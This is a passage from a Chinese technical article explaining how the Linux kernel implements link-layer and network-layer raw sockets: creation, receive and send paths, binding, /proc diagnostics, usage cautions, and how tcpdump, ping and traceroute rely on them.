创建面向连接的TCP和创建面向无连接的UDP套接字,在接收和发送时只能操作数据部分,而不能对IP首部或TCP和UDP首部进行操作。如果想要操作IP首部或传输层协议首部,就需要调用如下socket()函数创建网络层原始套接字。第一个参数指定协议族的类型为PF_INET,第二个参数为SOCK_RAW,第三个参数protocol为协议类型(不同取值的意义见表2)。产品线有使用OSPF和RSVP等协议,需要使用这种类型的套接字。
socktet(PF_INET, SOCK_RAW, protocol)
a) 接收报文
网络层原始套接字接收到的报文数据是从IP首部开始的,即接收到的数据包含了IP首部, TCP/UDP/ICMP等首部, 以及数据部分。
b) 发送报文
网络层原始套接字发送的报文数据,在默认情况下是从IP首部之后开始的,即需要由调用者自行构造和封装TCP/UDP等协议首部。
这种套接字也提供了发送时从IP首部开始构造数据的功能,通过setsockopt()给套接字设置上IP_HDRINCL选项,就需要在发送时自行构造IP首部。
int val = 1;
setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val));
表2 protocol不同取
protocol
值
作用
IPPROTO_TCP
6
报收TCP类型的报文
IPPROTO_UDP
17
报收UDP类型的报文
IPPROTO_ICMP
1
报收ICMP类型的报文
IPPROTO_IGMP
2
报收IGMP类型的报文
IPPROTO_RAW
255
不能用于接收,只用于发送(需要构造IP首部)
OSPF
89
接收协议号为89的报文
……
……
……
表2中protocol取值为IPPROTO_RAW是比较特殊的,表示套接字不能用于接收,只能用于发送(且发送时需要从IP首部开始构造报文)。具体的实现细节在2.3节中会详细介绍。
二、原始套接字实现
本节主要首先介绍链路层和网络层原始套接字报文的收发总体流程,再分别对两类套接字的创建、接收、发送等具体实现细节进行介绍。
2.1 原始套接字报文收发流程
图1 原始套接字收发流程
如上图1所示为链路层和网络层原始套接字的收发总体流程。网卡驱动收到报文后在软中断上下文中由netif_receive_skb()处理,匹配是否有注册的链路层原始套接字,若匹配上就通过skb_clone()来克隆报文,并将报文交给相应的原始套接字。对于IP报文,在协议栈的ip_local_deliver_finish()函数中会匹配是否有注册的网络层原始套接字,若匹配上就通过skb_clone()克隆报文并交给相应的原始套接字来处理。
注意:这里只是将报文克隆一份交给原始套接字,而该报文还是会继续走后续的协议栈处理流程。
链路层原始套接字的发送,直接由套接字层调用packet_sendmsg()函数,最终再调用网卡驱动的发送函数。网络层原始套接字的发送实现要相对复杂一些,由套接字层调用inet_sendmsg()->raw_sendmsg(),再经过路由和邻居子系统的处理后,最终调用网卡驱动的发送函数。若注册了ETH_P_ALL类型套接字,还需要将外发报文再收回去。
2.2 链路层原始套接字的实现
2.2.1 套接字创建
调用socket()函数创建套接字的流程如下,链路层原始套接字最终由packet_create()创建。
sys_socket()->sock_create()->__sock_create()->packet_create()
当socket()函数的第三个参数protocol为非零的情况下,会调用dev_add_pack()将链路层套接字packet_sock的packet_type结构链到ptype_all链表或ptype_base链表中。
void dev_add_pack(struct packet_type *pt)
{
……
if (pt->type == htons(ETH_P_ALL)) {
netdev_nit++;
list_add_rcu(&pt->list, &ptype_all);
} else {
hash = ntohs(pt->type) & 15;
list_add_rcu(&pt->list, &ptype_base[hash]);
}
……
}
当protocol为ETH_P_ALL时,会将套接字加入到ptype_all链表中。如图2所示,这里创建了两个链路层原始套接字。
图2 ptype_all链表
当protocol为其它非0值时,会将套接字加入到ptype_base链表中。如图3所示,协议栈本身也需要注册packet_type结构,图中浅色的两个packet_type结构分别是IP协议和ARP协议注册的,其处理函数分别为ip_rcv()和arp_rcv()。图中另外3个深色的packet_type结构则是链路层原始套接字注册的,分别用于接收类型为ETH_P_IP、ETH_P_ARP和0x0810类型的报文。
图3 ptype_base链表
2.2.2 报文接收
网卡驱动程序接收到报文后,在软中断上下文由netif_receive_skb()处理。首先会逐个遍历ptype_all链表中的packet_type结构,若满足条件“(!ptype->dev || ptype->dev == skb->dev)”,即套接字未绑定或者套接字绑定网口与skb所在网口匹配,就增加报文引用计数并交给packet_rcv()函数处理(若使用PACKET_MMAP收包方式则由tpacket_rcv()函数处理)。
网卡驱动->netif_receive_skb()->deliver_skb()->packet_rcv()/tpacket_rcv()
以非PACKET_MMAP收包方式为例进行说明,packet_rcv()函数中比较重要的代码片段如下。当报文skb到达packet_rcv()函数时,其skb->data所指的数据是不包含MAC首部的,所以对于type为非SOCK_DGRAM(即SOCK_RAW)类型,需要将skb->data指针前移,以便数据部分可以包含MAC首部。最后将skb放到套接字的接收队列sk->sk_receive_queue中,并唤醒用户态进程来读取套接字中的数据。
……
if (sk->sk_type != SOCK_DGRAM) //即SOCK_RAW类型
skb_push(skb, skb->data - skb->mac.raw);
……
__skb_queue_tail(&sk->sk_receive_queue, skb);
sk->sk_data_ready(sk, skb->len); //唤醒进程读取数据
……
PACKET_MMAP收包方式的实现有所不同,tpacket_rcv()函数将skb->data拷贝到与用户态mmap映射的共享内存中,最后唤醒用户态进程来读取数据。由于报文的内容已存放在内核空间和用户空间共享的缓冲区中,用户态可以直接读取以减少数据的拷贝,所以这种方式效率比较高。
上面介绍了报文接收在软中断的处理流程。下面以非PACKET_MMAP收包方式为例,介绍用户态读取报文数据的流程。用户态recvmsg()最终调用skb_recv_datagram(),如果套接字接收队列sk->sk_receive_queue中有报文就取skb并返回。否则调用wait_for_packet()等待,直到内核软中断收到报文并唤醒用户态进程。
sys_recvmsg()->sock_recvmsg()->…->packet_recvmsg()->skb_recv_datagram()
2.2.3 报文发送
用户态调用sendto()或sendmsg()发送报文的内核态处理流程如下,由套接字层最终会调用到packet_sendmsg()。
sys_sendto()->sock_sendmsg()->__sock_sendmsg()->packet_sendmsg()->dev_queue_xmit()
该函数比较重要的函数片段如下。首先进行参数检查及skb分配,再调用驱动程序的hard_header函数(对于以太网驱动是eth_header()函数)来构造报文的MAC头部,此时的skb->data是指向MAC首部的,且skb->len为MAC首部长度(即14)。对于创建时指定type为SOCK_RAW类型套接字,由于在发送时需要自行构造MAC头部,所以将skb->tail指针恢复到MAC首部开始的位置,并将skb->len设置为0(即不使用内核构造的MAC首部)。接着再调用memcpy_fromiovec()从skb->tail的位置开始拷贝报文数据,最终调用网卡驱动的发送函数将报文发送出去。
注:如果创建套接字时指定type为SOCK_DGRAM,则使用内核构造的MAC首部,用户态发送的数据中不含MAC头部数据。
……
res = dev->hard_header(skb, dev, ntohs(proto), addr, NULL, len); //构造MAC首部
if (sock->type != SOCK_DGRAM) {
skb->tail = skb->data; //SOCK_RAW类型
skb->len = 0;
}
……
err = memcpy_fromiovec(skb_put(skb,len), msg->msg_iov, len); //拷贝报文数据
……
err = dev_queue_xmit(skb); //发送报文
……
2.2.4 其它
a) 套接字的绑定
链路层原始套接字可调用bind()函数进行绑定,让packet_type结构dev字段指向相应的net_device结构,即将套接字绑定到相应的网口上。如2.2.2节报文接收的描述,在接收时如果套接口有绑定就需要进一步确认当前skb->dev是否与绑定网口相匹配,只有匹配的才会将报文上送到相应的套接字。
sys_bind()->packet_bind()->packet_do_bind()
b) 套接字选项
以下是比较常用的套接字选项
PACKET_RX_RING:用于PACKET_MMAP收包方式设置接收环形队列
PACKET_STATISTICS:用于读取收包统计信息
c) 信息查看
链路层原始套接字的信息可通过/proc/net/packet进行查看。如下为图2和图3中创建的原始套接字的信息,可以查看到创建时指定的协议类型、是否绑定网口、已使用的接收缓存大小等信息。这些信息对于分析和定位问题有帮助。
cat /proc/net/packet
sk RefCnt Type Proto Iface R Rmem User Inode
ffff810007df8400 3 3 0810 0 1 0 0 1310
ffff810007df8800 3 3 0806 0 1 0 0 1309
ffff810007df8c00 3 3 0800 0 1 560 0 1308
ffff810007df8000 3 3 0003 0 1 560 0 1307
ffff810007df3800 3 3 0003 0 1 560 0 1306
2.3 网络层原始套接字的实现
2.3.1 套接字创建
如图4所示,在IPV4协议栈中一个传输层协议(如TCP,UDP,UDP-Lite等)对应一个inet_protosw结构,而inet_protosw结构中又包含了proto_ops结构和proto结构。网络子系统初始化时将所有的inet_protosw结构hash到全局的inetsw[]数组中。proto_ops结构实现的是从与协议无关的套接口层到协议相关的传输层的转接,而proto结构又将传输层映射到网络层。
图4 inetsw[]数组结构
调用socket()函数创建套接字的流程如下,网络层原始套接字最终由inet_create()创建。
sys_socket()->sock_create()->__sock_create()->inet_create()
inet_create()函数除用于创建网络层原始套接字外,还用于创建TCP、UDP套接字。首先根据socket()函数的第二个参数(即SOCK_RAW)在inetsw[]数组中匹配到相应的inet_protosw结构。并将套接字结构的ops设置为inet_sockraw_ops,将套接字结构的sk_prot设置为raw_prot。然后对于SOCK_RAW类型套接字,还要将inet->num设置为协议类型,以便最后能调用proto结构的hash函数(即raw_v4_hash())。
……
sock->ops = answer->ops; //将socket结构的ops设置为inet_sockraw_ops
answer_prot = answer->prot;
……
if (SOCK_RAW == sock->type) { //SOCK_RAW类型的套接字,设置inet->num
inet->num = protocol;
if (IPPROTO_RAW == protocol) //protocol为IPPROTO_RAW的特殊处理,
inet->hdrincl = 1; 后续在报文发送时会再讲到
}
……
if (inet->num) {
inet->sport = htons(inet->num);
sk->sk_prot->hash(sk); //调用raw_v4_hash()函数将套接字链到raw_v4_htable中
}
……
经过如上操作后,相应的套接字结构sock会通过raw_v4_hash()函数链到raw_v4_htable链表中,网络层原始套接字报文接收时需要使用到raw_v4_htable。如图5所示,共创建了3个网络层原始套接字,协议类型分别为IPPROTO_TCP、IPPROTO_ICMP和89。
图5 raw_v4_htable链表
2.3.2 报文接收
网卡驱动收到报文后在软中断上下文由netif_receive_skb()处理,对于IP报文且目的地址为本机的会由ip_rcv()最终调用ip_local_deliver_finish()函数。ip_local_deliver_finish()主要功能的代码片段如下,先根据报文的L4层协议类型hash值在图5中的raw_v4_htable表中查找是否有匹配的sock。如果有匹配的sock结构,就进一步调用raw_v4_input()处理网络层原始套接字。不管是否有原始套接字要处理,该报文都会走后续的协议栈处理流程。即会继续匹配inet_protos[]数组,根据L4层协议类型走TCP、UDP、ICMP等不同处理流程。
……
hash = protocol & (MAX_INET_PROTOS - 1); //根据报文协议类型取hash值
raw_sk = sk_head(&raw_v4_htable[hash]); //在raw_v4_htable中查找
……
if (raw_sk && !raw_v4_input(skb, skb->nh.iph, hash)) //处理原始套接字
……
if ((ipprot = rcu_dereference(inet_protos[hash])) != NULL) { //匹配inet_protos[]数组
……
ret = ipprot->handler(skb); //调用传输层处理函数
……
} else { //如果在inet_protos[]数组中未匹配到,则释放报文
……
kfree_skb(skb);
}
……
如图6所示的inet_protos[]数组,每项由net_protocol结构组成。表示一个协议(包括传输层协议和网络层附属协议)的接收处理函数集,一般包括一个正常接收函数和一个出错接收函数。图中TCP、UDP和ICMP协议的接收处理函数分别为tcp_v4_rcv()、udp_rcv()和icmp_rcv()。如果在inet_protos[]数组中未配置到相应的net_protocol结构,报文就会被丢弃掉。比如OSPF报文(协议类型为89)在inet_protos[]数组中没有相应的项,内核会将其丢弃掉,这种报文只能提供网络层原始套接字接收到用户态来处理。
图6 inet_protos[]数组结构
网络层原始套接字的总体接收流程如下,最终会将skb挂到相应套接字上,并唤醒用户态进程读取报文数据。
网卡驱动->netif_receive_skb()->ip_rcv()->ip_rcv_finish()->ip_local_deliver()->ip_local
_deliver_finish()->raw_v4_input()->raw_rcv()->raw_rcv_skb()->sock_queue_rcv_skb()
……
skb_queue_tail(&sk->sk_receive_queue, skb); //挂到接收队列
if (!sock_flag(sk, SOCK_DEAD))
sk->sk_data_ready(sk, skb_len); //唤醒用户态进程
……
上面介绍了报文接收在软中断的处理流程,下面介绍用户态进程读取报文是如何实现的。用户态的recvmsg()最终会调用raw_recvmsg(),后者再调用skb_recv_datagram。如果套接字接收队列sk->sk_receive_queue中有报文就取skb并返回。否则调用wait_for_packet()等待,直到内核软中断收到报文并唤醒用户态进程。
sys_recvmsg()->sock_recvmsg()->…->sock_common_recvmsg()->raw_recvmsg()
2.3.3 报文发送
用户态调用sendto()或sendmsg()发送报文的内核态处理流程如下,最终由raw_sendmsg()进行发送。
sys_sendto()->sock_sendmsg()->__sock_sendmsg()->inet_sendmsg()->raw_sendmsg()
此函数先进行一些参数合法性检测,然后调用ip_route_output_slow()进行选路。选路成功后主要执行如下代码片段,根据inet->hdrincl是否设置走不同的流程。raw_send_hdrinc()函数表示用户态发送的数据中需要包含IP首部,即由调用者在发送时自行构造IP首部。如果inet->hdrincl未置位,表示内核会构造IP首部,即调用者发送的数据中不包含IP首部。不管走哪个流程,最终都会经过ip_output()->ip_finish_output()->…->dev_queue_xmit()将报文交给网卡驱动的发送函数发送出去。
……
if (inet->hdrincl) { //调用者要构造IP首部
err = raw_send_hdrinc(sk, msg->msg_iov, len,
rt, msg->msg_flags);
} else {
…… //由内核构造IP首部
err = ip_push_pending_frames(sk);
}
……
注:inet->hdrincl置位表示用户态发送的数据中要包含IP首部,inet->hdrincl在以下两种情况下被置位。
a). 给套接字设置IP_HDRINCL选项
setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val))
b). 调用socket()创建套接字时,第三个参数指定为IPPROTO_RAW,见2.3.1节。
socktet(PF_INET, SOCK_RAW, IPPROTO_RAW)
2.3.4 其它
a) 套接字绑定
若原始套接字调用bind()绑定了一个地址,则该套接口只能收到目的IP地址与绑定地址相匹配的报文。内核的具体实现是raw_bind(),将inet->rcv_saddr设置为绑定地址。在原始套接字接收时,__raw_v4_lookup()在设置了inet->rcv_saddr字段的情况下,会判断该字段是否与报文目的IP地址相同。
sys_bind()->inet_bind()->raw_bind()
b) 信息查看
网络层原始套接字的信息可通过/proc/net/raw进行查看。如下为图5所创建的3个网络层原始套接字的信息,可以查看到创建套接字时指定的协议类型、绑定的地址、发送和接收队列已使用的缓存大小等信息。这些信息对于分析和定位问题有帮助。
cat /proc/net/raw
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
1: 00000000:0001 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1323 2 ffff8100070b2380
6: 00000000:0006 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1322 2 ffff8100070b2080
89: 00000000:0059 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1324 2 ffff8100070b2680
三、应用及注意事项
3.1 使用链路层原始套接字
注意事项:
a) 尽量避免创建过多原始套接字,且原始套接字要尽量绑定网卡。因为收到每个报文除了会将其分发给绑定在该网卡上的原始套接字外,还会分发给没有绑定网卡的原始套接字。如果原始套接字较多,一个报文就会在软中断上下文中分发多次,造成处理时间过长。
b) 发包和收包尽量使用同一个原始套接字。如果发包与收包使用两个不同的原始套接字,会由于接收报文时分发多次而影响性能。而且用于发送的那个套接字的接收队列上也会缓存报文,直至达到接收队列大小限制,会造成内存泄露。
c) 若只接收指定类型二层报文,在调用socket()时指定第三个参数的协议类型,而最好不要使用ETH_P_ALL。因为ETH_P_ALL会接收所有类型的报文,而且还会将外发报文收回来,这样就需要做BPF过滤,比较影响性能。
3.2 使用网络层原始套接字
注意事项:
a) 由于IP报文的重组是在网络层原始套接字接收流程之前执行的,所以该原始套接字不能接收到UDP和TCP的分组数据。
b) 若原始套接字已由bind()绑定了某个本地IP地址,那么只有目的IP地址与绑定地址匹配的报文,才能递送到这个套接口上。
c) 若原始套接字已由connect()指定了某个远地IP地址,那么只有源IP地址与这个已连接地址匹配的报文,才能递送到这个套接口上。
3.3 网络诊断工具使用原始套接字
很多网络诊断工具也是利用原始套接字来实现的,经常会使用到的有tcpdump, ping和traceroute等。
tcpdump
该工具用于截获网口上的报文流量。其实现原理是创建ETH_P_ALL类型的链路层原始套接字,读取和解析报文数据并将信息显示出来。
ping
该工具用于检查网络连接。其实现原理是创建网络层原始套接字,指定协议类型为IPPROTO_ICMP。检测方构造ICMP回射请求报文(类型为ICMP_ECHO),根据ICMP协议实现,被检测方收到该请求报文后会响应一个ICMP回射应答报文(类型为ICMP_ECHOREPLY)。然后检测方通过原始套接字读取并解析应答报文,并显示出序号、TTL等信息。
traceroute
该工具用于跟踪IP报文在网络中的路由过程。其实现原理也是创建网络层原始套接字,指定协议类型为IPPROTO_ICMP。假设从A主机路由到D主机,需要依次经过B主机和C主机。使用traceroute来跟踪A主机到D主机的路由途径,具体步骤如下,在每次探测过程中会显示各节点的IP、时间等信息。
a) A主机使用普通的UDP套接字向目的主机发送TTL为1(使用套接口选项IP_TTL来修改)的UDP报文;
b) B主机收到该UDP报文后,由于TTL为1会拒绝转发,并且向A主机发送code为ICMP_EXC_TTL的ICMP报文;
c) A主机用创建的网络层原始套接字读取并解析ICMP报文。如果ICMP报文code是ICMP_EXC_TTL,就将UDP报文的TTL增加1并回到步骤a)继续进行探测;如果ICMP报文的code是ICMP_PROT_UNREACH,表示UDP报文到达了目的地。
A主机―>B主机―>C主机―>D主机
参考资料
《Linux内核源码剖析——TCP/IP实现》
《深入理解Linux网络内幕》
《UNIX网络编程 第1卷:套接口API》
========